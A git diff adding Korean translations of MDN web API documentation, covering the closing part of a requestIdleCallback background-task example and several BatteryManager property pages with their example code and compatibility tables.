+ height: 22px;
+ background-color: lightblue;
+ border-bottom: 1px solid black;
+ border-radius: 6px 6px 0 0;
+}
+
+#log {
+ font: 12px "Courier", monospace;
+ padding: 6px;
+ overflow: auto;
+ overflow-y: scroll;
+ width: 388px;
+ height: 460px;
+}
+
+.container {
+ width: 400px;
+ padding: 6px;
+ border-radius: 6px;
+ border: 1px solid black;
+ box-shadow: 4px 4px 2px black;
+ display: block;
+ overflow: auto;
+}
+
+.label {
+ display: inline-block;
+}
+
+.counter {
+ text-align: right;
+ padding-top: 4px;
+ float: right;
+}
+
+.button {
+ padding-top: 2px;
+ padding-bottom: 4px;
+ width: 100px;
+ display: inline-block;
+ float: left;
+ border: 1px solid black;
+ cursor: pointer;
+ text-align: center;
+ margin-top: 0;
+ color: white;
+ background-color: darkgreen;
+}
+
+#progress {
+ width: 100%;
+ padding-top: 6px;
+}</pre>
+</div>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<p>이제 문서 구조가 정의되었으므로, 작업을 수행할 자바스크립트 코드를 작성하겠습니다.<br>
+ 목표: 시스템이 유휴 상태일 때 마다 해당 기능을 실행하는 유휴 콜백과 함께, 함수를 호출하기 위한 요청을 큐에 추가할 수 있습니다.</p>
+
+<h4 id="Variable_declarations">Variable declarations</h4>
+
+<pre class="brush: js">let taskList = [];
+let totalTaskCount = 0;
+let currentTaskNumber = 0;
+let taskHandle = null;
+</pre>
+
+<p>이 변수들은 처리 대기중인 태스크 리스트(task list)와, 태스크 큐(task queue) 및 실행에 대한 상태 정보를 관리하는데 사용합니다:</p>
+
+<ul>
+ <li><code>taskList</code> 는 객체의 배열({{jsxref("Array")}})로, 각각은 실행 대기중인 하나의 태스크(task)를 나타냅니다.</li>
+ <li><code>totalTaskCount</code> 는 큐에 추가된 태스크 수를 셉니다. 올라갈 수는 있지만, 결코 내려가지 않습니다. 우리는 이 값을 토대로 작업의 진행률을 표시하는 수학 계산에 사용합니다. </li>
+ <li><code>currentTaskNumber</code> 는 지금까지 처리한 태스크 수를 추적하는데 사용합니다.</li>
+ <li><code>taskHandle</code> 은 지금 처리중인 태스크에 대한 참조입니다.</li>
+</ul>
+
+<pre class="brush: js">let totalTaskCountElem = document.getElementById("totalTaskCount");
+let currentTaskNumberElem = document.getElementById("currentTaskNumber");
+let progressBarElem = document.getElementById("progress");
+let startButtonElem = document.getElementById("startButton");
+let logElem = document.getElementById("log");
+</pre>
+
+<p>다음으로 우리는 상호작용할 필요가 있는 DOM 요소를 참조하는 변수를 선언합니다. 이 요소들은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>totalTaskCountElem</code> 은 생성한 총 태스크 수를 progress box에 삽입하여 상태를 표시하는데 사용할 {{HTMLElement("span")}} 입니다.</li>
+ <li><code>currentTaskNumberElem</code> 은 지금까지 처리한 태스크 수를 표시하는데 사용되는 요소입니다.</li>
+ <li><code>progressBarElem</code> 은 지금까지 처리한 태스크의 백분율을 보여주는 {{HTMLElement("progress")}} 요소입니다.</li>
+ <li><code>startButtonElem</code> 은 시작 버튼 입니다.</li>
+ <li><code>logElem</code> 은 텍스트 메시지를 로그로 기록할 {{HTMLElement("div")}} 입니다.</li>
+</ul>
+
+<pre class="brush: js">let logFragment = null;
+let statusRefreshScheduled = false;
+</pre>
+
+<p>마지막으로 다른 항목에 대한 몇 가지 변수를 설정합니다:</p>
+
+<ul>
+ <li><code>logFragment</code> 는 우리의 로깅 함수에 의해 생성된 {{domxref("DocumentFragment")}} 를 저장하는데 사용됩니다. 다음 애니메이션 프레임이 렌더링 될 때 로그에 추가할 내용을 만듭니다.</li>
+ <li><code>statusRefreshScheduled</code> 는 앞으로의 프레임에 대한 상태 표시 박스의 업데이트를 이미 예약했는지 여부를 추적하는데 사용됩니다. 그렇기 때문에 프레임당 한 번만 수행합니다.</li>
+</ul>
+
+<div class="hidden">
+<p>The shim to function even if idle callbacks aren't supported. Already discussed above, so it's hidden here to save space in the article.</p>
+
+<pre class="brush: js">window.requestIdleCallback = window.requestIdleCallback || function(handler) {
+ let startTime = Date.now();
+
+ return setTimeout(function() {
+ handler({
+ didTimeout: false,
+ timeRemaining: function() {
+ return Math.max(0, 50.0 - (Date.now() - startTime));
+ }
+ });
+ }, 1);
+};
+
+window.cancelIdleCallback = window.cancelIdleCallback || function(id) {
+ clearTimeout(id);
+};
+</pre>
+</div>
+
+<h4 id="Managing_the_task_queue">Managing the task queue</h4>
+
+<p>다음으로 수행해야 할 태스크를 관리하는 방법을 알아보겠습니다. 우리는 아이들 콜백(idle callback) 기간 동안 시간이 허락하는대로, 태스크의 FIFO 큐를 생성함으로써 이를 수행할 것입니다.</p>
+
+<h5 id="Enqueueing_tasks">Enqueueing tasks</h5>
+
+<p>첫째, 향후 실행을 위해 태스크를 큐에 넣는 함수가 필요합니다. 그 함수인 <code>enqueueTask()</code>는 다음과 같습니다: </p>
+
+<pre class="brush: js">function enqueueTask(taskHandler, taskData) {
+ taskList.push({
+ handler: taskHandler,
+ data: taskData
+ });
+
+ totalTaskCount++;
+
+ if (!taskHandle) {
+ taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000 });
+ }
+
+ scheduleStatusRefresh();
+}
+</pre>
+
+<p><code>enqueueTask()</code> 는 입력으로 두 개의 매개변수(parameter)를 허용합니다:</p>
+
+<ul>
+ <li><code>taskHandler</code> 는 태스크를 처리하기 위해 호출 될 함수입니다.</li>
+ <li><code>taskData</code> 는 태스크 핸들러에 입력 매개 변수로 전달되는 객체이며, 태스크가 사용자 정의 데이터를 수신할 수 있게 합니다.</li>
+</ul>
+
+<p>태스크를 큐에 넣기 위해 객체를 <code>taskList</code> 배열에 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/push">push</a> 합니다. 객체는 각각 <code>handler</code> 와 <code>data</code> 라는 이름 아래에 <code>taskHandler</code> 와 <code>taskData</code> 값을 포함합니다. 그리고나서 대기열에 들어간 작업의 총 수를 반영하는 <code>totalTaskCount</code>를 증가시켜 나갑니다(태스크가 큐에서 제거될 때 우리는 그것을 감소시키지 않습니다).</p>
+
+<p>다음으로 우리는 이미 유휴 콜백(idle callback)이 생성되었는지 확인합니다. 만약 <code>taskHandle</code> 이 0이면 아직 유휴 콜백이 없다는 것을 알기 때문에, {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 호출하여 <code>taskHandle</code> 을 생성합니다. 이 함수는 <code>runTaskQueue()</code>라는 함수를 호출하도록 구성되어 있습니다. 그리고 이 함수는 1초의 <code>timeout</code>을 갖고있기 때문에, 사용 가능한 실제 유휴 시간이 없는 경우에도 초당1회 이상 실행됩니다.</p>
+
+<h5 id="Running_tasks">Running tasks</h5>
+
+<p>유휴 콜백 핸들러인 <code>runTaskQueue()</code> 는 브라우저가 유휴 시간이 충분하다고 판단하거나, 1초의 timeout이 만료될 때 호출됩니다. 이 함수의 일은 대기열에 넣어진 태스크를 실행하는 것입니다.</p>
+
+<pre class="brush: js">function runTaskQueue(deadline) {
+ while ((deadline.timeRemaining() &gt; 0 || deadline.didTimeout) &amp;&amp; taskList.length) {
+ let task = taskList.shift();
+ currentTaskNumber++;
+
+ task.handler(task.data);
+ scheduleStatusRefresh();
+ }
+
+ if (taskList.length) {
+ taskHandle = requestIdleCallback(runTaskQueue, { timeout: 1000} );
+ } else {
+ taskHandle = 0;
+ }
+}
+</pre>
+
+<p><code>runTaskQueue()</code>의 핵심은 계속되는 반복문입니다.  이 반복문은 taskList에 태스크가 있어야하고, 다음 두 조건 중 하나를 만족해야 합니다.<br>
+ {{domxref("deadline.timeRemaining", "IdleDeadline.timeRemaining")}}을 검사하여 결정된 시간이 0 이상이거나 timeout이 한계에 도달하여 {{domxref("IdleDeadline.didTimeout", "deadline.didTimeout")}}이 참 이어야 합니다.</p>
+
+<p>실행 시간이 있는 큐의 각 태스트에 대해 다음 작업을 수행합니다:</p>
+
+<ol>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/shift">큐에서 태스크 객체를 제거합니다.</a></li>
+ <li><code>currentTaskNumber</code> 를 증가시켜서 우리가 실행한 태스크의 수를 추적합니다.</li>
+ <li>태스크를 처리할 때 호출하는 <code>task.handler</code>에 태스크 데이터 객체(<code>task.data</code>)를 전달합니다.</li>
+ <li>우리는 <code>scheduleStatusRefresh()</code>함수를 호출하여 진행 상황의 변화를 반영하도록 화면을 업데이트 합니다.</li>
+</ol>
+
+<p>시간이 다 되었을 때, 여전히 리스트에 태스크가 남아있다면 {{domxref("Window.requestIdleCallback", "requestIdleCallback()")}}을 다시 호출하여, 다음에 유휴 시간이 있을 때 작업을 계속 처리할 수 있게 예약 합니다. 큐가 비어 있으면, taskHandle을 0으로 설정하여 콜백을 예약하지 않았음을 나타냅니다. 그러면 우리는 이제 <code>enqueueTask()</code>가 호출 된 다음에 콜백을 요청하는 방법을 알 수 있습니다.</p>
+
+<h4 id="Updating_the_status_display">Updating the status display</h4>
+
+<p>우리는 로그를 출력하고, 진행 상황을 document에 업데이트 하길 원합니다. 그러나 유휴 콜백 내에서 안전하게 DOM을 변경할 수는 없습니다. 대신 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 사용하여 브라우저에게 문의하도록 요청하여 안전할 때 디스플레이를 업데이트합니다.</p>
+
+<h5 id="Scheduling_display_updates">Scheduling display updates</h5>
+
+<p>DOM 변경은 <code>scheduleStatusRefresh()</code>함수를 호출하여 예약합니다.</p>
+
+<pre class="brush: js">function scheduleStatusRefresh() {
+ if (!statusRefreshScheduled) {
+ requestAnimationFrame(updateDisplay);
+ statusRefreshScheduled = true;
+ }
+}
+</pre>
+
+<p>이것은 간단한 함수입니다. <code>statusRefreshScheduled</code>값을 확인하여 디스플레이 새로고침을 예약했는지 여부를 확인합니다. 만약 <code>false</code> 라면 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 호출하여 새로고침을 예약하고, 해당 작업을 처리하기 위해 <code>updateDisplay()</code> 함수를 호출합니다.</p>
+
+<h5 id="Updating_the_display">Updating the display</h5>
+
+<p><code>updateDisplay()</code> 함수는 progress box의 내용과 로그를 그립니다. 다음 프레임을 렌더링하는 과정에서 변경 사항을 적용하기 위해, DOM이 안전한 상태인 경우 브라우저에서 호출합니다.</p>
+
+<pre class="brush: js">function updateDisplay() {
+ let scrolledToEnd = logElem.scrollHeight - logElem.clientHeight &lt;= logElem.scrollTop + 1;
+
+ if (totalTaskCount) {
+ if (progressBarElem.max != totalTaskCount) {
+ totalTaskCountElem.textContent = totalTaskCount;
+ progressBarElem.max = totalTaskCount;
+ }
+
+ if (progressBarElem.value != currentTaskNumber) {
+ currentTaskNumberElem.textContent = currentTaskNumber;
+ progressBarElem.value = currentTaskNumber;
+ }
+ }
+
+ if (logFragment) {
+ logElem.appendChild(logFragment);
+ logFragment = null;
+ }
+
+ if (scrolledToEnd) {
+ logElem.scrollTop = logElem.scrollHeight - logElem.clientHeight;
+ }
+
+ statusRefreshScheduled = false;
+}</pre>
+
+<p>첫 번째로, 로그의 텍스트가 맨 아래로 스크롤되면 <code>scrolledToEnd</code> 가 <code>true</code> 로 설정됩니다. 그렇지 않으면 <code>false</code>로 설정됩니다. 우리는 이것을 사용하여 컨텐츠에 로그가 추가될 때 마다, 스크롤이 바닥에 유지되도록 스크롤 위치를 업데이트할지 여부를 결정합니다.</p>
+
+<p>다음으로, 태스크가 큐에 들어간 경우 진행 상태 및 상태 정보를 업데이트 합니다.</p>
+
+<ol>
+ <li>진행률 막대의 현재 최대 값이 지금 큐에 대기중인 태스크의 총 개수(<code>totalTaskCount</code>)와 다른 경우, 표시되는 전체 태스크 수(<code>totalTaskCountElem</code>)의 내용과 진행률 막대의 최대 값을 업데이트 합니다. 이 값은 적절하게 비례합니다.</li>
+ <li>지금까지 처리 한 태스크의 수와 동일한 작업을 수행합니다. <code>progressBarElem.value</code>가 현재 처리중인 태스크 넘버(<code>currentTaskNumber</code>)와 다른 경우, 현재 처리중인 태스크와 진행 막대바의 현재 값을 업데이트하여 표시합니다.</li>
+</ol>
+
+<p>그런 다음, 로그에 추가되기를 기다리는 텍스트가 있는 경우(즉, <code>logFragment</code>가 <code>null</code>이 아닌 경우), {{domxref("Node.appendChild", "Element.appendChild()")}}를 사용하여 log 요소(엘리먼트)에 <code>logFragment</code>를 추가합니다. 그 후 <code>logFragment</code> 를 <code>null</code> 로 설정하여 다시 추가하지 않도록합니다.</p>
+
+<p>시작했을 때 로그가 끝까지 스크롤 되면, 우리는 여전히 로그를 확인할 수 있습니다. 그런 다음 <code>statusRefreshScheduled</code> 를 <code>false</code>로 설정하여 새로고침을 처리했으며, 새 것을(태스크를) 요청하는것이 안전하다는 것을 표시합니다.</p>
+
+<h4 id="Adding_text_to_the_log">Adding text to the log</h4>
+
+<p><code>log()</code> 함수는 지정된 텍스트를 로그에 추가합니다. DOM을 바로 수정하는것이 안전한지 아닌지 <code>log()</code> 함수가 호출될때 우리는 알지 못합니다. 때문에 업데이트가 안전할 때 까지 로그 텍스트를 캐싱합니다. 위의 <code>updateDisplay</code><code>()</code> 코드에서, 애니메이션 프레임이 업데이트 될 때 실제로 로그 요소에 기록된 텍스트를 추가하는 코드를 찾을 수 있습니다.</p>
+
+<pre class="brush: js">function log(text) {
+ if (!logFragment) {
+ logFragment = document.createDocumentFragment();
+ }
+
+ let el = document.createElement("div");
+ el.innerHTML = text;
+ logFragment.appendChild(el);
+}
+</pre>
+
+<p>먼저, 지금은 존재하지 않는 <code>logFragment</code>라는 {{domxref("DocumentFragment")}}객체를 생성합니다. 이 요소는 메인 DOM 자체를 즉시 변경하지 않고, 요소를 삽입할 수 있는 pseudo-DOM 입니다.</p>
+
+<p>그런 다음 새로운 {{HTMLElement("div")}} 요소를 만들고, 내용을 입력 <code>text</code>와 일치하도록 설정합니다. 그리고나서 <code>logFragment</code>에 있는 pseudo-DOM의 끝에 새 요소를 추가합니다. DOM에 대한 변경 때문에, <code>logFragment</code>는 <code>updateDisplay()</code>가 호출 될 때까지 로그 항목을 누적합니다.</p>
+
+<h3 id="Running_tasks_2">Running tasks</h3>
+
+<p>이제 우리는 태스크 관리 및 출력 유지보수 코드를 완성했습니다. 실제로 작업을 완료하는 태스크를 실행하기 위한 설정을 시작할 수 있습니다.</p>
+
+<h4 id="The_task_handler">The task handler</h4>
+
+<p>우리가 태스크 핸들러—즉, 태스크 객체의 <code>handler</code> 속성(property) 값으로 사용할 함수—로 사용할 함수는 <code>logTaskHandler()</code> 입니다. 이것은 각 태스크에 대한 로그에 많은 내용을 출력하는 간단한 함수입니다. 만약 우리가 원한다면, 우리의 어플리케이션에서 이 코드를 유휴 시간(idle time)동안 수행하는 작업으로 대체할 수 있습니다. 단지, DOM을 변경해야 하는 작업은 {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}}을 통해 처리해야한다는 것을 기억해야합니다.</p>
+
+<pre class="brush: js">function logTaskHandler(data) {
+ log("&lt;strong&gt;Running task #" + currentTaskNumber + "&lt;/strong&gt;");
+
+ for (i=0; i&lt;data.count; i+=1) {
+ log((i+1).toString() + ". " + data.text);
+ }
+}
+</pre>
+
+<h4 id="The_main_program">The main program</h4>
+
+<p>사용자가 시작 버튼을 클릭하면 <code>decodeTechnoStuff()</code> 함수가 호출되며 모든것이 시작됩니다.</p>
+
+<div class="hidden">
+<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random?document_saved=true#Getting_a_random_integer_between_two_values_inclusive">getRandomIntInclusive()</a></code> method comes from the examples for {{jsxref("Math.random()")}}; we'll just link to it below but it needs to be included here for the example to work.</p>
+
+<pre class="brush: js">function getRandomIntInclusive(min, max) {
+ min = Math.ceil(min);
+ max = Math.floor(max);
+ return Math.floor(Math.random() * (max - min + 1)) + min;
+}
+</pre>
+</div>
+
+<pre class="brush: js">function decodeTechnoStuff() {
+ totalTaskCount = 0;
+ currentTaskNumber = 0;
+ updateDisplay();
+
+ let n = getRandomIntInclusive(100, 200);
+
+ for (i=0; i&lt;n; i++) {
+ let taskData = {
+ count: getRandomIntInclusive(75, 150),
+ text: "This text is from task number " + (i+1).toString() + " of " + n
+ };
+
+ enqueueTask(logTaskHandler, taskData);
+ }
+}
+
+document.getElementById("startButton").addEventListener("click", decodeTechnoStuff, false);</pre>
+
+<p><code>decodeTechnoStuff()</code>가 시작하면 <code>totalTaskCount</code>(현재까지 큐에 추가된 태스크의 수)의 값과 <code>currentTaskNumber</code>(현재 실행중인 태스크의 수) 값을 0으로 설정합니다. 그리고 <code>updateDisplay()</code>를 호출하여 "아직 아무일도 일어나지 않았습니다(nothing's happened yet)" 상태로 재설정합니다.</p>
+
+<p>이 예제에서는 임의의 수의 태스크(100개에서 200개 사이)를 만듭니다. 이를 위해 우리는 {{jsxref("Math.random()")}}에 대한 문서에서 예제로 제공되는, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/random?document_saved=true#Getting_a_random_integer_between_two_values_inclusive"><code>getRandomIntInclusive()</code> 함수</a>를 사용하여 생성할 태스크 수를 얻습니다.</p>
+
+<p>그런 다음 루프를 시작하여 실제 태스크를 만듭니다. 각 태스크마다 두 개의 속성(property)이 포함된 <code>taskData</code>객체를 만듭니다:</p>
+
+<ul>
+ <li><code>count</code> 는 태스크에서 로그로 출력할 문자열 수입니다.</li>
+ <li><code>text</code> 는 <code>count</code>로 지정된 횟수만큼 로그에 출력하는 텍스트입니다.</li>
+</ul>
+
+<p>그러면 각 태스크는 <code>enqueueTask()</code>를 호출하여 대기열에 추가되고 <code>logTaskHandler</code><code>()</code>가 핸들러 함수로 전달됩니다. 함수가 호출될 때 함수에 전달할 객체로 <code>taskData</code> 객체를 사용합니다.</p>
+
+<dl>
+</dl>
+
+<h3 id="Result">Result</h3>
+
+<p>아래는 위 코드의 실제 작동 결과입니다. 사용해보고, 브라우저의 개발자 도구에서 사용하고, 코드에서도 직접 사용해 보세요.</p>
+
+<p>{{ EmbedLiveSample('Example', 600, 700) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Background Tasks")}}</td>
+ <td>{{Spec2("Background Tasks")}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.requestIdleCallback")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window.requestIdleCallback()")}}</li>
+ <li>{{domxref("Window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/charging/index.html b/files/ko/web/api/batterymanager/charging/index.html
new file mode 100644
index 0000000000..711a305781
--- /dev/null
+++ b/files/ko/web/api/batterymanager/charging/index.html
@@ -0,0 +1,117 @@
+---
+title: BatteryManager.charging
+slug: Web/API/BatteryManager/charging
+translation_of: Web/API/BatteryManager/charging
+---
+<div>{{APIRef("Battery API")}}</div>
+
+<p>현재 배터리가 충전중인지를 나타내는 Boolean 값 입니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">var <em>charging</em> = battery.charging</pre>
+
+<p><code>charging</code> 변수는 배터리가 충전 중인지의 여부를 가져옵니다. 충전중일경우<code> </code><code>true</code>. 이외에는 <code>false </code>를 가리킵니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="charging"&gt;(charging state unknown)&lt;/div&gt;</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js; highlight:[3]">navigator.getBattery().then(function(battery) {
+
+ var charging = battery.charging;
+
+ document.querySelector('#charging').textContent = charging ;
+});</pre>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Battery API")}}</td>
+ <td>{{Spec2("Battery API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ <td>{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}<br>
+ {{CompatGeckoDesktop("16")}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(40.0)}}</td>
+ <td>{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}<br>
+ {{CompatGeckoMobile("16")}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>25<sup>[2]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(42.0)}}<sup>[2]</sup></td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference <code>dom.battery.enabled</code> to <code>true</code>. Starting with Firefox 11.0, <code>mozBattery</code> is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provide support for the deprecated {{domxref("navigator.battery")}}.</p>
+
+<p>[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to <code>Infinity</code>.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/chargingtime/index.html b/files/ko/web/api/batterymanager/chargingtime/index.html
new file mode 100644
index 0000000000..7b823afb4b
--- /dev/null
+++ b/files/ko/web/api/batterymanager/chargingtime/index.html
@@ -0,0 +1,74 @@
+---
+title: BatteryManager.chargingTime (배터리관리기 충전시간)
+slug: Web/API/BatteryManager/chargingTime
+tags:
+ - API
+ - Battery API
+ - 목적
+ - 참조
+translation_of: Web/API/BatteryManager/chargingTime
+---
+<div>{{obsolete_header}}</div>
+
+<p>{{APIRef("Battery API")}}</p>
+
+<p>몇 초 단위로, 배터리가 완전히 충전될 때까지 남은 시간량을 가리킵니다.</p>
+
+<div class="note">
+<p>반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.</p>
+</div>
+
+<pre class="syntaxbox notranslate">var <em>time</em> = battery.chargingTime</pre>
+
+<p>반환되는 중에, 건전지가 완전히 충전될 때까지 또는 이미 완전히 충전되어 있다면 0이 될 때까지  <code>time</code> 은 몇 초 뒤에 남게 되는 시간입니다. 이는 {{domxref("BatteryManager")}} object (객체),입니다. 배터리의 전류가 방전되어 있다면, 이 값은 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, 즉 무한 값이 됩니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_콘텐츠">HTML 콘텐츠</h3>
+
+<pre class="brush: html notranslate">&lt;div id="chargingTime"&gt;(charging time unknown)&lt;/div&gt;
+</pre>
+
+<h3 id="자바언어_콘텐츠">자바언어 콘텐츠</h3>
+
+<pre class="brush: js; highlight:[3] notranslate">navigator.getBattery().then(function(battery) {
+
+ var time = battery.chargingTime;
+
+ document.querySelector('#chargingTime').textContent = battery.chargingTime;
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
+
+<h2 id="설명서">설명서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양 (설명)</th>
+ <th scope="col">상태 (설명)</th>
+ <th scope="col">관련 (설명)</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Battery API")}}</td>
+ <td>{{Spec2("Battery API")}}</td>
+ <td>최초 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지와 호환되는 표가 구조화된 데이터에서 생성되게 됩니다. 당신이 이 데이터에 이바지하기를 원한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를검토해보시고, 우리에게 여러가지 요청을 보내보세요.</div>
+
+<p>{{Compat("api.BatteryManager.chargingTime")}}</p>
+
+<h2 id="같이_보세요">같이 보세요</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/dischargingtime/index.html b/files/ko/web/api/batterymanager/dischargingtime/index.html
new file mode 100644
index 0000000000..c7165c7a52
--- /dev/null
+++ b/files/ko/web/api/batterymanager/dischargingtime/index.html
@@ -0,0 +1,71 @@
+---
+title: BatteryManager.dischargingTime (배터리관리기 방전시간)
+slug: Web/API/BatteryManager/dischargingTime
+translation_of: Web/API/BatteryManager/dischargingTime
+---
+<div>{{obsolete_header}}</div>
+
+<div>{{APIRef("Battery API")}}</div>
+
+<p>몇 초 단위로, 배터리가 완전히 방전될 때까지 남은 시간량을 가리킵니다.</p>
+
+<div class="note">
+<p>반환되는 시간이 정확하더라도, 개인정보보호 정책 사유로 브라우저들이 더 큰 간격(대개 15분)으로 시간량을 반올림합니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>time</em> = battery.dischargingTime</pre>
+
+<p>반환되는 중에, <code>time</code> 은 {{domxref("BatteryManager")}} object(객체)인 <code><em>battery</em></code> 가 완전히 방전되고 시스템이 중단되는 몇 초 뒤에 남게 되는 시간입니다.  배터리가 현재 방전되기보다 충전되거나 시스템이 남은 방전 시간을 보고할 수 없다면, 이 값은 무한 값입니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="HTML_콘텐츠">HTML 콘텐츠</h3>
+
+<pre class="brush: html">&lt;div id="dischargingTime"&gt;(discharging time unknown)&lt;/div&gt;
+</pre>
+
+<h3 id="자바언어_콘텐츠">자바언어 콘텐츠</h3>
+
+<pre class="brush: js; highlight:[3]">navigator.getBattery().then(function(battery) {
+
+ var time = battery.dischargingTime;
+
+ document.querySelector('#dischargingTime').textContent = battery.dischargingTime;
+});
+</pre>
+
+<p>{{ EmbedLiveSample('Example', '100%', 30) }}</p>
+
+<h2 id="설명서">설명서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">사양 (설명)</th>
+ <th scope="col">상태 (설명)</th>
+ <th scope="col">비고</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Battery API")}}</td>
+ <td>{{Spec2("Battery API")}}</td>
+ <td>최초 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지와 호화되는 표는 구조화된 데이터에서 생성됩니다. 당신이 데이터에 기여하기를 원한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 검토하시고서 우리에게 여러모로 요청을 보내보세요.</div>
+
+<p>{{Compat("api.BatteryManager.dischargingTime")}}</p>
+
+<h2 id="같이_보세요">같이 보세요</h2>
+
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("Navigator.getBattery")}}</li>
+</ul>
diff --git a/files/ko/web/api/batterymanager/index.html b/files/ko/web/api/batterymanager/index.html
new file mode 100644
index 0000000000..13ca755062
--- /dev/null
+++ b/files/ko/web/api/batterymanager/index.html
@@ -0,0 +1,74 @@
+---
+title: BatteryManager
+slug: Web/API/BatteryManager
+translation_of: Web/API/BatteryManager
+---
+<p>{{ApiRef()}}</p>
+
+<p><strong><code>BatteryManager</code></strong> 인터페이스는 시스템의 배터리 충전 상태에 대한 정보를 확인 하는 방법을 제공합니다.</p>
+
+<p>{{domxref("window.navigator.battery","navigator.battery")}} 프로퍼티는 Battery Status API와 상호작용 할 수 있는 <code>BatteryManager 인터페이스의 </code>인스턴스를 반환합니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리가 현재 충전 중인지 여부를 Boolean 값으로 나타냅니다.</dd>
+ <dt>{{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리가 완전히 충전되기 까지 남은 시간을 초로 표현합니다. 0 이면 이미 배터리의 충전이 완료 된 상황 입니다.</dd>
